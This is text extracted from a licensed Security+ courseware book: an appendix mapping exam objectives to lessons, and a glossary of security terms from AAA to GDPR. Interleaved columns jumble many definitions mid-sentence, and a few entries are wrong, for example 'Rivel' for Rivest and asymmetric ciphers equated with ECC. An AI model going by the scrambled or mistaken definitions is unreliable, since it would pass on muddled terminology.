Time stamps Lesson 18, Topic A
Time offset Lesson 18, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-29

Domain and Objective Covered in

Tags Lesson 18, Topic A
Reports Lesson 18, Topic A
Event logs Lesson 18, Topic A
Interviews Lesson 18, Topic A
Acquisition Lesson 18, Topic B
Order of volatility Lesson 18, Topic B
Disk Lesson 18, Topic B
Random-access memory (RAM) Lesson 18, Topic B
Swap/pagefile Lesson 18, Topic B
OS Lesson 18, Topic B
Device Lesson 18, Topic B
Firmware Lesson 18, Topic B
Snapshot Lesson 18, Topic B
Cache Lesson 18, Topic B
Network Lesson 18, Topic B
Artifacts Lesson 18, Topic B
On-premises vs. cloud Lesson 18, Topic B
Right-to-audit clauses Lesson 18, Topic B
Regulatory/jurisdiction Lesson 18, Topic B
Data breach notification laws Lesson 18, Topic B
Integrity Lesson 18, Topic B
Hashing Lesson 18, Topic B
Checksums Lesson 18, Topic B
Provenance Lesson 18, Topic B
Preservation Lesson 18, Topic B
E-discovery Lesson 18, Topic A
Data recovery Lesson 18, Topic B
Non-repudiation Lesson 18, Topic B
Strategic intelligence/counterintelligence Lesson 18, Topic A
5.0 Governance, Risk, and Compliance
5.1 Compare and contrast various types of controls Lesson 1, Topic B
Category Lesson 1, Topic B
Managerial Lesson 1, Topic B
Operational Lesson 1, Topic B
Technical Lesson 1, Topic B
Control type Lesson 1, Topic B
Preventative Lesson 1, Topic B
Detective Lesson 1, Topic B
Corrective Lesson 1, Topic B
Deterrent Lesson 1, Topic B
Compensating Lesson 1, Topic B
Physical Lesson 1, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-30 | Appendix A

Domain and Objective Covered in

5.2 Explain the importance of applicable regulations, Lesson 1, Topic B
standards, or frameworks that impact organizational
security posture
Regulations, standards, and legislation Lesson 1, Topic B
General Data Protection Regulation (GDPR) Lesson 1, Topic B
National, territory, or state laws Lesson 1, Topic B
P
 ayment Card Industry Data Security Standard (PCI DSS) Lesson 1, Topic B
Key frameworks Lesson 1, Topic B
Center for Internet Security (CIS) Lesson 1, Topic B
N
 ational Institute of Standards and Technology (NIST) Lesson 1, Topic B
RMF/CSF
International Organization for Standardization (ISO) Lesson 1, Topic B
27001/27002/27701/31000
SSAE SOC 2 Type I/II Lesson 1, Topic B
Cloud security alliance Lesson 1, Topic B
Cloud control matrix Lesson 1, Topic B
Reference architecture Lesson 1, Topic B
Benchmarks /secure configuration guides Lesson 1, Topic B
Platform/vendor-specific guides Lesson 1, Topic B
Web server Lesson 1, Topic B
OS Lesson 1, Topic B
Application server Lesson 1, Topic B
Network infrastructure devices Lesson 1, Topic B
5.3 Explain the importance of policies to organizational Lesson 8, Topic A
security Lesson 8, Topic D
Lesson 12, Topic A
Lesson 16, Topic A
Lesson 20, Topic C
Personnel Lesson 8, Topic A
Lesson 8, Topic D
Acceptable use policy Lesson 8, Topic D
Job rotation Lesson 8, Topic A
Mandatory vacation Lesson 8, Topic A
Separation of duties Lesson 8, Topic A
Least privilege Lesson 8, Topic A
Clean desk space Lesson 8, Topic D
Background checks Lesson 8, Topic A
Non-disclosure agreement (NDA) Lesson 8, Topic A
Social media analysis Lesson 8, Topic D
Onboarding Lesson 8, Topic A
Offboarding Lesson 8, Topic A
User training Lesson 8, Topic D
Gamification Lesson 8, Topic D

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-31

Domain and Objective Covered in

Capture the flag Lesson 8, Topic D
Phishing campaigns Lesson 8, Topic D
Phishing simulations Lesson 8, Topic D
Computer-based training (CBT) Lesson 8, Topic D
Role-based training Lesson 8, Topic D
Diversity of training techniques Lesson 8, Topic D
Third-party risk management Lesson 12, Topic A
Vendors Lesson 12, Topic A
Supply chain Lesson 12, Topic A
Business partners Lesson 12, Topic A
Service level agreement (SLA) Lesson 12, Topic A
Memorandum of understanding (MOU) Lesson 12, Topic A
Master services agreement (MSA) Lesson 12, Topic A
Business partnership agreement (BPA) Lesson 12, Topic A
End of life (EOL) Lesson 12, Topic A
End of service life (EOSL) Lesson 12, Topic A
NDA Lesson 12, Topic A
Data Lesson 16, Topic A
Classification Lesson 16, Topic A
Governance Lesson 16, Topic A
Retention Lesson 16, Topic A
Credential policies Lesson 8, Topic A
Personnel Lesson 8, Topic A
Third-party Lesson 8, Topic A
Devices Lesson 8, Topic A
Service accounts Lesson 8, Topic A
Administrator/root accounts Lesson 8, Topic A
Organizational policies Lesson 20, Topic C
Change management Lesson 20, Topic C
Change control Lesson 20, Topic C
Asset management Lesson 20, Topic C
5.4 Summarize risk management processes and concepts Lesson 19, Topic A
Lesson 19, Topic B
Risk types Lesson 19, Topic A
External Lesson 19, Topic A
Internal Lesson 19, Topic A
Legacy systems Lesson 19, Topic A
Multiparty Lesson 19, Topic A
IP theft Lesson 19, Topic A
Software compliance/licensing Lesson 19, Topic A
Risk management strategies Lesson 19, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-32 | Appendix A

Domain and Objective Covered in

Acceptance Lesson 19, Topic A
Avoidance Lesson 19, Topic A
Transference Lesson 19, Topic A
Cybersecurity insurance Lesson 19, Topic A
Mitigation Lesson 19, Topic A
Risk analysis Lesson 19, Topic A
Risk register Lesson 19, Topic A
Risk matrix/heat map Lesson 19, Topic A
Risk control assessment Lesson 19, Topic A
Risk control self-assessment Lesson 19, Topic A
Risk awareness Lesson 19, Topic A
Inherent risk Lesson 19, Topic A
Residual risk Lesson 19, Topic A
Control risk Lesson 19, Topic A
Risk appetite Lesson 19, Topic A
Regulations that affect risk posture Lesson 19, Topic A
Risk assessment types Lesson 19, Topic A
Qualitative Lesson 19, Topic A
Quantitative Lesson 19, Topic A
Likelihood of occurrence Lesson 19, Topic A
Impact Lesson 19, Topic A
Asset value Lesson 19, Topic A
Single loss expectancy (SLE) Lesson 19, Topic A
Annualized loss expectancy (ALE) Lesson 19, Topic A
Annualized rate of occurrence (ARO) Lesson 19, Topic A
Disasters Lesson 19, Topic B
Environmental Lesson 19, Topic B
Person-made Lesson 19, Topic B
Internal vs. external Lesson 19, Topic B
Business impact analysis Lesson 19, Topic B
Recovery time objective (RTO) Lesson 19, Topic B
Recovery point objective (RPO) Lesson 19, Topic B
Mean time to repair (MTTR) Lesson 19, Topic B
Mean time between failures (MTBF) Lesson 19, Topic B
Functional recovery plans Lesson 19, Topic B
Single point of failure Lesson 19, Topic B
Disaster recovery plan (DRP) Lesson 19, Topic B
Mission essential functions Lesson 19, Topic B
Identification of critical systems Lesson 19, Topic B
Site risk assessment Lesson 19, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-33

Domain and Objective Covered in

5.5 Explain privacy and sensitive data concepts in relation Lesson 16, Topic A
to security Lesson 16, Topic B
O
 rganizational consequences of privacy and data breaches Lesson 16, Topic A
Reputation damage Lesson 16, Topic A
Identity theft Lesson 16, Topic A
Fines Lesson 16, Topic A
IP theft Lesson 16, Topic A
Notifications of breaches Lesson 16, Topic A
Escalation Lesson 16, Topic A
Public notifications and disclosures Lesson 16, Topic A
Data types Lesson 16, Topic A
Classifications Lesson 16, Topic A
Public Lesson 16, Topic A
Private Lesson 16, Topic A
Sensitive Lesson 16, Topic A
Confidential Lesson 16, Topic A
Critical Lesson 16, Topic A
Proprietary Lesson 16, Topic A
Personally identifiable information (PII) Lesson 16, Topic A
Health information Lesson 16, Topic A
Financial information Lesson 16, Topic A
Government data Lesson 16, Topic A
Customer data Lesson 16, Topic A
Privacy enhancing technologies Lesson 16, Topic B
Data minimization Lesson 16, Topic B
Data masking Lesson 16, Topic B
Tokenization Lesson 16, Topic B
Anonymization Lesson 16, Topic B
Pseudo-anonymization Lesson 16, Topic B
Roles and responsibilities Lesson 16, Topic A
Data owners Lesson 16, Topic A
Data controller Lesson 16, Topic A
Data processor Lesson 16, Topic A
Data custodian/steward Lesson 16, Topic A
Data protection officer (DPO) Lesson 16, Topic A
Information life cycle Lesson 16, Topic A
Impact assessment Lesson 16, Topic A
Terms of agreement Lesson 16, Topic A
Privacy notice Lesson 16, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary
AAA (authentication, authorization, air gap A type of network isolation that
and accounting) A security concept physically separates a network from all
where a centralized platform verifies other networks.
subject identification, ensures the subject AIS (Automated Indicator Sharing)
is assigned relevant permissions, and Threat intelligence data feed operated by
then logs these actions to create an audit the DHS.
trail.
ALE (annual loss expectancy) The
ABAC (attribute-based access control) total cost of a risk to an organization on
An access control technique that an annual basis. This is determined by
evaluates a set of attributes that each multiplying the SLE by the annual rate of
subject possesses to determine if access occurrence (ARO).
should be granted.
AP (access point) A device that provides
account policies A set of rules governing a connection between wireless devices
user security information, such as and can connect to wired networks. Also
password expiration and uniqueness, known as wireless access point or WAP.
which can be set globally.
API (application programming
ACL (Access Control List) A collection interface) A library of programming
of access control entries (ACEs) that utilities used, for example, to enable
determines which subjects (user accounts, software developers to access functions
host IP addresses, and so on) are allowed of the TCP/IP network stack under a
or denied access to the object and the particular operating system.
privileges given (read only, read/write, and
so on). application aware firewall A Layer 7
firewall technology that inspects packets
active defense The practice of at the Application layer of the OSI model.
responding to a threat by destroying or
deceiving a threat actor's capabilities. application firewall Software designed
to run on a server to protect a particular
adversarial AI (adversarial artificial application such as a web server or SQL
intelligence) Using AI to identify server.
vulnerabilities and attack vectors to
circumvent security systems. APT (advanced persistent threat) An
attacker's ability to obtain, maintain, and
AES (Advanced Encryption Standard) diversify access to network systems using
A symmetric 128-, 192-, or 256-bit block exploits and malware.
cipher based on the Rijndael algorithm
developed by Belgian cryptographers Joan Arduino Open-source platform producing
Daemen and Vincent Rijmen and adopted programmable circuit boards for
by the U.S. government as its encryption education and industrial prototyping.
standard to replace DES. ARO (annual rate of occurrence) In
Agile model (Agile) A software risk calculation, an expression of the
development model that focuses on probability/likelihood of a risk as the
iterative and incremental development number of times per year a particular loss
to account for evolving requirements and is expected to occur.
expectations. ARP inspection An optional security
AH (authentication header) An IPSec feature of a switch that prevents excessive
protocol that provides authentication for the ARP replies from flooding a network
origin of transmitted data as well as integrity segment.
and protection against replay attacks.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-2 | Glossary

ARP poisoning (ARP spoofing) A BAS (building automation system)

network-based attack where an attacker Components and protocols that facilitate
with access to the target local network the centralized configuration and
segment redirects an IP address to the monitoring of mechanical and electrical
MAC address of a computer that is not systems within offices and data centers.
the intended recipient. This can be used
baseband radio The chip and firmware
to perform a variety of attacks, including
in a smartphone that acts as a cellular
DoS, spoofing, and Man-in-the-Middle.
modem.
asymmetric algorithm (Public Key) A
baseline configuration A collection of
cipher that uses public and private keys.
security and configuration settings that
The keys are mathematically linked,
are to be applied to a particular system or
using either Rivel, Shamir, Adleman
network in the organization.
(RSA) or elliptic curve cryptography
(ECC) algorithms, but the private key bash (Bourne again shell) A command
is not derivable from the public one. shell and scripting language for Unix-like
An asymmetric key cannot reverse the systems. bastion host A server typically
operation it performs, so the public key found in a DMZ that is configured to
cannot decrypt what it has encrypted, provide a single service to reduce the
for example. Also known as Elliptic Curve possibility of compromise.
Cryptography or ECC.
behavioral analysis A network
ATT&CK (Adversarial Tactics, monitoring system that detects changes
Techniques, and Common Knowledge) in normal operating data sequences
A knowledge base maintained by the and identifies abnormal sequences. Also
MITRE Corporation for listing and known as behavior-based detection.
explaining specific adversary tactics,
BIA (business impact analysis) A
techniques, and procedures.
systematic activity that identifies
attack surface The points at which a organizational risks and determines
network or application receives external their effect on ongoing, mission critical
connections or inputs/outputs that are operations.
potential vectors to be exploited by a
birthday attack A type of password
threat actor.
attack that exploits weaknesses in the
attack vector A specific path by which a mathematical algorithms used to encrypt
threat actor gains unauthorized access to passwords, in order to take advantage
a system. Also known as vector. of the probability of different password
inputs producing the same encrypted
authenticator A PNAC switch or router
output.
that activates EAPoL and passes a
supplicant's authentication data to an block cipher A type of symmetric
authenticating server, such as a RADIUS encryption that encrypts data one block at
server. a time, often in 64-bit blocks. It is usually
more secure, but is also slower, than
automation Using scripts and APIs
stream ciphers.
to provision and deprovision systems
without manual intervention. blockchain A concept in which an
expanding list of transactional records
Autopsy The Sleuth Kit is an open
listed in a public ledger is secured using
source collection of command line and
cryptography.
programming libraries for disk imaging
and file analysis. Autopsy is a graphical blue team The defensive team in a
frontend for these tools and also provides penetration test or incident response
a case management/workflow tool. Also exercise.
known as Sleuth Kit.
bluejacking Sending an unsolicited
availability The fundamental security message or picture message using a
goal of ensuring that computer systems Bluetooth connection.
operate continuously and that authorized
persons can access data that they need.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-3

bluesnarfing A wireless attack where an cable lock Devices can be physically

attacker gains access to unauthorized secured against theft using cable ties
information on a device using a Bluetooth and padlocks. Some systems also feature
connection. lockable faceplates, preventing access to
the power switch and removable drives.
boot attestation Report of boot state
integrity data that is signed by a tamper- CAC (common access card) A smart
proof TPM key and reported to a network card that provides certificate-based
server. authentication and supports two-factor
authentication. A CAC is produced for
botnet A set of hosts that has been
Department of Defense employees and
infected by a control program called a bot
contractors in response to a Homeland
that enables attackers to exploit the hosts
Security Directive.
to mount attacks. Also known as zombie.
CAN bus (controller area network
BPA (business partnership agreement)
bus) A serial network designed to allow
Agreement by two companies to work
communications between embedded
together closely, such as the partner
programmable logic controllers.
agreements that large IT companies set
up with resellers and solution providers. CAPTCHA (completely automated
public turing test to tell computers
BPDU guard (Bridge Protocol Data
and humans apart) An image of text
Unit guard) Switch port security feature
characters or audio of some speech that
that disables the port if it receives BPDU
is difficult for a computer to interpret.
notifications related to spanning tree.
CAPTCHAs are used for purposes such as
This is configured on access ports where
preventing bots from creating accounts
there any BPDU frames are likely to be
on web forums and social media sites to
malicious.
spam them.
brute force attack A type of password
captive portal A web page or website to
attack where an attacker uses an
which a client is redirected before being
application to exhaustively try every
granted full network access.
possible alphanumeric combination to
crack encrypted passwords. capture the flag Training event where
learners must identify a token within a live
buffer overflow An attack in which data
network environment.
goes past the boundary of the destination
buffer and begins to corrupt adjacent card cloning/skimming Duplicating a
memory. This can allow the attacker to smart card by reading (skimming) the
crash the system or execute arbitrary confidential data stored on it. Also known
code. as skimming.
bug bounty Reward scheme operated by carving The process of extracting data
software and web services vendors for from a computer when that data has no
reporting vulnerabilities. associated file system metadata.
BYOD (bring your own device) Security CASB (cloud access security broker)
framework and tools to facilitate use Enterprise management software
of personally-owned devices to access designed to mediate access to cloud
corporate networks and data. services by users across all types of
devices.
C&C (command and control) An
infrastructure of hosts and services with cat command Linux command to view
which attackers direct, distribute, and and combine (concatenate) files.
control malware over botnets. Also known
CBC (cipher block chaining) An
as C2.
encryption mode of operation where an
CA (certificate authority) A server that exclusive or (XOR) is applied to the first
guarantees subject identities by issuing plaintext block
signed digital certificate wrappers for their
public keys.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-4 | Glossary

CCMP (counter mode with cipher block cloud deployment model Classifying the
chaining message authentication code ownership and management of a cloud as
protocol) An encryption protocol used public, private, community, or hybrid.
for wireless LANs that addresses the
Cloud Security Alliance Industry
vulnerabilities of the WEP protocol.
body providing security guidance to
CE (cryptographic erase) A method CSPs, including enterprise reference
of sanitizing a self-encrypting drive by architecture and security controls matrix.
erasing the media encryption key.
cloud service model Classifying the
chain of custody The record of evidence provision of cloud services and the limit of
history from collection, to presentation in the cloud service provider's responsibility
court, to disposal. as software, platform, infrastructure,
and so on. clustering A load balancing
change control The process by which
technique where a group of servers are
the need for change is recorded and
configured as a unit and work together to
approved.
provide network services.
change management The process
CN (common name) An X500 attribute
through which changes to the
expressing a host or user name, also
configuration of information systems are
used as the subject identifier for a digital
implemented, as part of the organization's
certificate.
overall configuration management efforts.
COBO (corporate owned, business only)
CHAP (Challenge Handshake
Enterprise mobile device provisioning
Authentication Protocol) Authentication
model where the device is the property
scheme developed for dial-up networks
of the organization and personal use is
that uses an encrypted three-way
prohibited.
handshake to authenticate the client
to the server. The challenge-response code of conduct Professional behavior
is repeated throughout the connection depends on basic ethical standards,
(though transparently to the user) to such as honesty and fairness. Some
guard against replay attacks. professions may have developed codes of
ethics to cover difficult situations; some
checksum The output of a hash function.
businesses may also have a code of ethics
chmod Linux command for managing file
to communicate the values it expects its
permissions.
employees to practice. Also known as
CIA triad (confidentiality, integrity, ethics.
and availability) The three principles of
code reuse Potentially unsecure
security control and management. Also
programming practice of using code
known as the information security triad.
originally written for a different context.
or AIC triad.
code signing The method of using a
circuit-level stateful inspection firewall
digital signature to ensure the source and
A Layer 5 firewall technology that tracks
integrity of programming code.
the active state of a connection, and can
make decisions based on the contents of cold site A predetermined alternate
network traffic as it relates to the state of location where a network can be rebuilt
the connection. after a disaster.
CIS (Center for Internet Security) A not- collector A network appliance that
for-profit organization (founded partly by gathers or receives log and/or state data
SANS). It publishes the well-known "Top from other network systems.
20 Critical Security Controls" (or system
collision In cryptography, the act of two
design recommendations).
different plaintext inputs producing the
clean desk policy An organizational same exact ciphertext output.
policy that mandates employee work
community cloud A cloud that is
areas be free from potentially sensitive
deployed for shared use by cooperating
information; sensitive documents must
tenants.
not be left out where unauthorized
personnel might see them.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-5

compensating control A security corrective control A type of security

measure that takes on risk mitigation control that acts after an incident
when a primary control fails or cannot to eliminate or minimize its impact.
completely meet expectations. correlation Function of log analysis that
links log and state data to identify a
confidentiality The fundamental
pattern that should be logged or alerted
security goal of keeping information and
as an event.
communications private and protecting
them from unauthorized access. counter mode (CTM) An encryption
containerization A type of virtualization mode of operation where a numerical
applied by a host operating system counter value is used to create a
to provision an isolated execution constantly changing IV. Also referred to
environment for an application. as CTM (counter mode) and CM (counter
mode).
content filter A software application or
gateway that filters client requests for credential stuffing Brute force attack
various types of internet content (web, in which stolen user account names and
FTP, IM, and so on). passwords are tested against multiple
websites.
context-aware authentication An access
control scheme that verifies an object's CRL (certificate revocation list) A list of
identity based on various environmental certificates that were revoked before their
factors, like time, location, and behavior. expiration date.
continuous delivery Software crossover error rate Biometric
development method in which app and evaluation factor expressing the point at
platform requirements are frequently which FAR and FRR meet, with a low value
tested and validated for immediate indicating better performance.
availability.
CSP (cloud service provider) A vendor
continuous deployment Software offering public cloud service models, such
development method in which app and as PaaS, IaaS, or SaaS.
platform updates are committed to
CSR (certificate signing request) A
production rapidly.
Base64 ASCII file that a subject sends to a
continuous integration Software CA to get a certificate.
development method in which code
CTI (cyber threat intelligence) The
updates are tested and committed to
process of investigating, collecting,
a development or build server/code
analyzing, and disseminating information
repository rapidly.
about emerging threats and threat
continuous monitoring The technique sources. Also known as threat intelligence.
of constantly evaluating an environment
Cuckoo Implementation of a sandbox for
for changes so that new risks may be
malware analysis.
more quickly detected and business
operations improved upon. Also known as curl command Utility for command-line
continuous security monitoring or CSM. manipulation of URL-based protocol
requests.
control risk Risk that arises when a
control does not provide the level of CVE (Common Vulnerabilities and
mitigation that was expected. Exposures) Scheme for identifying
vulnerabilities developed by MITRE and
COPE (corporate owned, personally
adopted by NIST.
enabled) Enterprise mobile device
provisioning model where the device CVSS (Common Vulnerability Scoring
remains the property of the organization, System) A risk management approach to
but certain personal use, such as private quantifying vulnerability data and then
email, social networking, and web taking into account the degree of risk to
browsing, is permitted. different types of systems or information.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-6 | Glossary

CYOD (choose your own device) data minimization In data protection,

Enterprise mobile device provisioning the principle that only necessary and
model where employees are offered a sufficient personal information can be
selection of corporate devices for work collected and processed for the stated
and, optionally, private use. purpose.
DAC (discretionary access control) data owner A senior (executive) role with
Access control model where each ultimate responsibility for maintaining the
resource is protected by an Access confidentiality, integrity, and availability of
Control List (ACL) managed by the an information asset.
resource's owner (or owners).
data processor In privacy regulations, an
data at rest Information that is primarily entity trusted with a copy of personal data
stored on specific media, rather than to perform storage and/or analysis on
moving from one medium to another. behalf of the data collector.
data breach When confidential or data remnant Leftover information on a
private data is read, copied, or changed storage medium even after basic attempts
without authorization. Data breach events have been made to remove that data.
may have notification and reporting Also known as remnant.
requirements.
data sovereignty In data protection,
data controller In privacy regulations, the principle that countries and states
the entity that determines why and how may impose individual requirements
personal data is collected, stored, and used. on data collected or stored within their
jurisdiction.
data custodian An individual who is
responsible for managing the system on data steward An individual who is
which data assets are stored, including primarily responsible for data quality,
being responsible for enforcing access ensuring data is labeled and identified
control, encryption, and backup/recovery with appropriate metadata and that data
measures. is collected and stored in a format and
with values that comply with applicable
data exfiltration The process by which
laws and regulations.
an attacker takes data that is stored inside
of a private network and moves it to an DCHP snooping A configuration option
external network. that enables a switch to inspect DHCP
traffic to prevent MAC spoofing.
data exposure A software vulnerability
where an attacker is able to circumvent dd command Linux command that makes
access controls and retrieve confidential a bit-by-bit copy of an input file, typically
or sensitive data from the file system or used for disk imaging.
database.
DDoS attack (distributed denial of
data governance The overall service attack) An attack that uses
management of the availability, usability, multiple compromised hosts (a botnet)
and security of the information used in an to overwhelm a service with request or
organization. response traffic.
data in processing Information that is dead code Code in an application that is
present in the volatile memory of a host, redundant because it will never be called
such as system memory or cache. within the logic of the program flow.
data in transit Information that is being deauthentication/disassociation
transmitted between two hosts, such as Spoofing frames to disconnect a wireless
over a private network or the Internet. station to try to obtain authentication
Also known as data in motion. data to crack.
data masking A deidentification method deception and disruption Cybersecurity
where generic or placeholder labels are resilience tools and techniques to
substituted for real data while preserving increase the cost of attack planning for
the structure or format of the original the threat actor.
data.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-7

default account Default administrative digital signature A message digest

and guest accounts configured on servers encrypted using the sender's private
and network devices are possible points key that is appended to a message to
of unauthorized access. authenticate the sender and prove
message integrity.
defense in depth A security strategy that
positions the layers of network security directory service A network service that
as network traffic roadblocks; each layer stores identity information about all the
is intended to slow an attack's progress, objects in a particular network, including
rather than eliminating it outright. users, groups, servers, client computers,
and printers.
degaussing The process of rendering
a storage drive inoperable and its data directory traversal An application attack
unrecoverable by eliminating the drive's that allows access to commands, files,
magnetic charge. and directories that may or may not be
connected to the web document root
deidentification In data protection,
directory.
methods and technologies that remove
identifying information from data before diversity Cybersecurity resilience strategy
it is distributed. that increases attack costs by provisioning
multiple types of controls, technologies,
deprovisioning The process of removing
vendors, and crypto implementations.
an application from packages or
instances. DLP (data loss/leak prevention) A
software solution that detects and
DER (distinguished encoding rules)
prevents sensitive information from
The binary format used to structure the
being stored on unauthorized systems or
information in a digital certificate.
transmitted over unauthorized networks.
detective control A type of security
DMZ (demilitarized zone) A segment
control that acts during an incident to
isolated from the rest of a private network
identify or record that it is happening.
by one or more firewalls that accepts
deterrent control A type of security connections from the Internet over
control that discourages intrusion designated ports.
attempts.
DNAT (destination network address
DH (Diffie-Hellman) A cryptographic translation) NAT service where private
technique that provides secure key internal addresses are mapped to one
exchange. or more public addresses to facilitate
Internet connectivity for hosts on a local
DHCP spoofing (Dynamic Host
network via a router.
Configuration Protocol spoofing) An
attack in which an attacker responds to DNS hijacking (Domain Name System
a client requesting address assignment hijacking) An attack in which an attacker
from a DHCP server. modifies a computer's DNS configurations
to point to a malicious DNS server.
Diamond Model A framework for
analyzing cybersecurity incidents. DNS poisoning (Domain Name System
poisoning) A network-based attack where
dictionary attack A type of password
an attacker exploits the traditionally open
attack that compares encrypted
nature of the DNS system to redirect a
passwords against a predetermined list of
domain name to an IP address of the
possible password values.
attacker's choosing.
differential backup A backup type in
DNSSEC (Domain Name System
which all selected files that have changed
Security Extensions) A security protocol
since the last full backup are backed up.
that provides authentication of DNS data
DiffServ The Differentiated Services Code and upholds DNS data integrity.
Point (DSCP) field is used to indicate a
priority value for a layer 3 (IP) packet to
facilitate Quality of Service (QoS) or Class
of Service (CoS) scheduling.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-8 | Glossary

domain hijacking A type of hijacking EAP-TTLS (EAP Tunneled Transport

attack where the attacker steals a Layer Security) An EAP method that
domain name by altering its registration enables a client and server to establish a
information and then transferring secure connection without mandating a
the domain name to another entity. client-side certificate.
Sometimes referred to as brandjacking.
east-west traffic Design paradigm
DoS attack (denial of service attack) accounting for the fact that data center
Any type of physical, application, or traffic between servers is greater than
network attack that affects the availability that passing in and out (north-south).
of a managed resource.
ECC (elliptic curve cryptography) An
downgrade attack A cryptographic attack asymmetric encryption algorithm that
where the attacker exploits the need for leverages the algebraic structures of
backward compatibility to force a computer elliptic curves over finite fields to derive
system to abandon the use of encrypted public/private key pairs.
messages in favor of plaintext messages.
edge computing Provisioning processing
DPO (data privacy officer) Institutional resource close to the network edge of IoT
data governance role with responsibility devices to reduce latency.
for compliant collection and processing of
e-discovery Procedures and tools to
personal and sensitive data.
collect, preserve, and analyze digital
DRP (disaster recovery plan) A evidence.
documented and resourced plan showing
EDR (endpoint detection and response)
actions and responsibilities to be used in
A software agent that collects system
response to critical incidents.
data and logs for analysis by a monitoring
DSA (Digital Signature Algorithm) public system to provide early detection of
key encryption standard used for digital threats.
signatures that provides authentication
EF (exposure factor) In risk calculation,
and integrity verification for messages.
the percentage of an asset's value that
dump file File containing data captured would be lost during a security incident or
from system memory. disaster scenario.
dumpster diving (Dumpster) The social elasticity The property by which a
engineering technique of discovering computing environment can instantly
things about an organization (or person) react to both increasing and decreasing
based on what it throws away. demands in workload.
EAP (Extensible Authentication entropy A measure of disorder.
Protocol) Framework for negotiating Cryptographic systems should exhibit
authentication methods that enables high entropy to better resist brute force
systems to use hardware-based attacks.
identifiers, such as fingerprint scanners or
EOL (end of life) Product life cycle phase
smart card readers, for authentication.
where sales are discontinued and support
EAP-FAST (EAP Flexible Authentication options reduced over time.
via Secure Tunneling) An EAP method
EOSL (end of service life) Product life
that is expected to address the
cycle phase where support is no longer
shortcomings of LEAP.
available from the vendor.
EAPoL (Extensible Authentication
EPP (endpoint protection platform) A
Protocol over LAN) A port-based network
software agent and monitoring system
access control (PNAC) mechanism that
that performs multiple security tasks.
allows the use of EAP authentication when
a host connects to an Ethernet switch. ERM (enterprise risk management) The
comprehensive process of evaluating,
EAP-TLS (EAP Transport Layer Security)
measuring, and mitigating the many risks
An EAP method that requires server-
that pervade an organization.
side and client-side certificates for
authentication using SSL/ TLS.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Glossary | G-9

error handling Coding methods to FDE (full disk encryption) Encryption of

anticipate and deal with exceptions all data on a disk (including system files,
thrown during execution of a process. temporary files, and the pagefile) can be
accomplished via a supported OS, third-
escrow In key management, the storage
party software, or at the controller level
of a backup key with a third party.
by the disk device itself.
ESP (Encapsulating Security Protocol)
federation A process that provides a
IPSec sub-protocol that enables
shared login capability across multiple
encryption and authentication of the
systems and enterprises. It essentially
header and payload of a data packet.
connects the identity management
evil twin A wireless access point that services of multiple systems.
deceives users into believing that it is a
FIM (file integrity monitoring) A type
legitimate network access point.
of software that reviews system files to
execution control The process of ensure that they have not been tampered
determining what additional software with.
may be installed on a client or server
fingerprint scanner Biometric
beyond its baseline to prevent the use of
authentication device that can produce a
unauthorized software.
template signature of a user's fingerprint
exploitation framework Suite of tools then subsequently compare the template
designed to automate delivery of exploits to the digit submitted for authentication.
against common software and firmware
first responder The first experienced
vulnerabilities.
person or team to arrive at the scene of
extranet A private network that an incident.
provides some access to outside parties,
fog computing Provisioning processing
particularly vendors, partners, and select
resource between the network edge of
customers.
IoT devices and the data center to reduce
failover A technique that ensures latency.
a redundant component, device, or
FPGA (field programmable gate array)
application can quickly and efficiently take
A processor that can be programmed to
over the functionality of an asset that has
perform a specific function by a customer
failed.
rather than at the time of manufacture.
fake telemetry Deception strategy that
FRR (false rejection rate) Biometric
returns spoofed data in response to
assessment metric that measures the
network probes.
number of valid subjects who are denied
false negative In security scanning, a access.
case that is not reported when it should
FTK (Forensic Toolkit) A commercial
be.
digital forensics investigation
false positive In security scanning, a case management and utilities suite, published
that is reported when it should not be. by AccessData.
FAR (false acceptance rate) Biometric FTPS A type of FTP using TLS for
assessment metric that measures the confidentiality.
number of unauthorized users who are
full backup A backup type in which all
mistakenly allowed access.
selected files, regardless of prior state, are
Faraday cage A wire mesh container that backed up. full tunnel VPN configuration
blocks external electromagnetic fields where all traffic is routed via the VPN
from entering into the container. gateway.
FC (Fibre Channel) High speed network fuzzing A dynamic code analysis
communications protocol used to technique that involves sending a running
implement SANs. application random and unusual input so
as to evaluate how the app responds.

Glossary

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 G-10 | Glossary

gait analysis Biometric mechanism that hashcat Command-line tool used to

identifies a subject based on movement perform brute force and dictionary
pattern. attacks against password hashes.
GCM (Galois/Counter Mode) A mode of hashing A function that converts an
block chained encryption that provides arbitrary length string input to a fixed
message authenticity for each block. length string output. A cryptographic hash
function does this in a way that reduces
GDPR (General Data Protection
the chance of collisions, where two
Regulation) Provisions and requirements
different inputs produce the same output.
protecting the personal data of European
Also known as message digest.
